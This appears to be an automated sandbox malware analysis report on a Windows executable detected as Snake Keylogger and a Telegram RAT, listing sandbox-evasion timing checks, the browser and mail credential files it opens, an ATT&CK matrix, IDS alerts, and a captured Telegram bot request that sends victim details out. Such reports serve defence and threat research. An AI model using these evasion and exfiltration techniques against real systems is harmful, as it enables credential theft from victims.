Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API/Special instruction interceptor: Address: 4DFBD4B
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API/Special instruction interceptor: Address: 320BD4B

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	RDTSC instruction interceptor: First address: 4DD4513 second address: 4DD4513 instructions: 0x00000000 rdtsc 0x00000002 test edx, eax 0x00000004 test ax, 000019D5h 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F77704F03F4h 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	RDTSC instruction interceptor: First address: 31E4513 second address: 31E4513 instructions: 0x00000000 rdtsc 0x00000002 test edx, eax 0x00000004 test ax, 000019D5h 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F7770C50344h 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e rdtsc

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Memory allocated: 3600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Memory allocated: 33EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Memory allocated: 35EE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi9FC6.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 7712	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 7712	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00402706 FindFirstFileW,	0_2_00402706
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405731
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_004061E5 FindFirstFileW,FindClose,	0_2_004061E5
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_00402706 FindFirstFileW,	10_2_00402706
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	10_2_00405731
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_004061E5 FindFirstFileW,FindClose,	10_2_004061E5

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: NDCNDvC27F.exe, 0000000A.00000002.3059914659.00000000038B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: NDCNDvC27F.exe, 0000000A.00000002.3059914659.000000000391B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: NDCNDvC27F.exe, 0000000A.00000002.3059914659.000000000391B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API call chain: ExitProcess graph end node			graph_0-4472
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API call chain: ExitProcess graph end node			graph_0-4471

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040620C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040620C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Users\user\Desktop\NDCNDvC27F.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_00405EC4 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405EC4

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: NDCNDvC27F.exe PID: 1372, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 0000000A.00000002.3080268352.0000000033FC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NDCNDvC27F.exe PID: 1372, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.3080268352.0000000033EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: NDCNDvC27F.exe PID: 1372, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	12 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	215 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36DF86C4 CryptUnprotectData,		10_2_36DF86C4
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36DF8EF7 CryptUnprotectData,		10_2_36DF8EF7

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2007/03/2025%20/%2015:32:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49723 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49729 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49725 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49727 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49728 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49726 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49721 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 104.21.32.1:443

Source: NDCNDvC27F.exe	Virustotal: Detection: 66%			Perma Link
Source: NDCNDvC27F.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 0360F2EDh	10_2_0360F33C
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 0360F2EDh	10_2_0360F15B
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 0360FAA9h	10_2_0360F804
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36202D49h	10_2_36202A98
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36203310h	10_2_36202EF8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36200D0Dh	10_2_36200B30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 362016F8h	10_2_36200B30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620ECE1h	10_2_3620EA38
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36203310h	10_2_3620323E
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36200673
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620F139h	10_2_3620EE90
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620F591h	10_2_3620F2E8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36203310h	10_2_36202EF3
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620F9E9h	10_2_3620F740
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620FE41h	10_2_3620FB98
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620D2D1h	10_2_3620D028
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36200040
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36200853
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620D729h	10_2_3620D480
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620DB81h	10_2_3620D8D8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620DFD9h	10_2_3620DD30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620E431h	10_2_3620E188
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 3620E889h	10_2_3620E5E0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF9A8Fh	10_2_36DF97C0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF9280h	10_2_36DF8FB0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF7EB5h	10_2_36DF7B78
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFC39Fh	10_2_36DFC0D0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF5179h	10_2_36DF4ED0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF7571h	10_2_36DF72C8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFE38Fh	10_2_36DFE0C0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF0B99h	10_2_36DF08F0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFA3AFh	10_2_36DFA0E0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF0741h	10_2_36DF0498
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFB15Fh	10_2_36DFAE90
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF6733h	10_2_36DF6488
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFD14Fh	10_2_36DFCE80
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF2151h	10_2_36DF1EA8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF9F1Fh	10_2_36DF9C50
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF1CF9h	10_2_36DF1A50
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFBF0Fh	10_2_36DFBC40
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF02E9h	10_2_36DF0040
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF4D21h	10_2_36DF4A78
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFF13Fh	10_2_36DFEE70
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF7119h	10_2_36DF6E70
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF3709h	10_2_36DF3460
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF6CC1h	10_2_36DF6A18
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF32B1h	10_2_36DF3008
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFACCFh	10_2_36DFAA00
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF62D9h	10_2_36DF6030
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFDEFFh	10_2_36DFDC30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF48C9h	10_2_36DF4620
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF5E81h	10_2_36DF5BD8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF18A1h	10_2_36DF15F8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFCCBFh	10_2_36DFC9F0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFECAFh	10_2_36DFE9E0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFFA5Fh	10_2_36DFF790
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF5A29h	10_2_36DF5780
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF2E59h	10_2_36DF2BB0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFBA7Fh	10_2_36DFB7B0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF1449h	10_2_36DF11A0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFDA6Fh	10_2_36DFD7A0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF2A01h	10_2_36DF2758
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFE81Fh	10_2_36DFE550
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF0FF1h	10_2_36DF0D48
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFA83Fh	10_2_36DFA570
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFC82Fh	10_2_36DFC560
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFD5DFh	10_2_36DFD310
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFF5CFh	10_2_36DFF300
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF25A9h	10_2_36DF2300
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF55D1h	10_2_36DF5328
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DFB5EFh	10_2_36DFB320
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36DF79C9h	10_2_36DF7720
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E657A8h	10_2_36E654B0
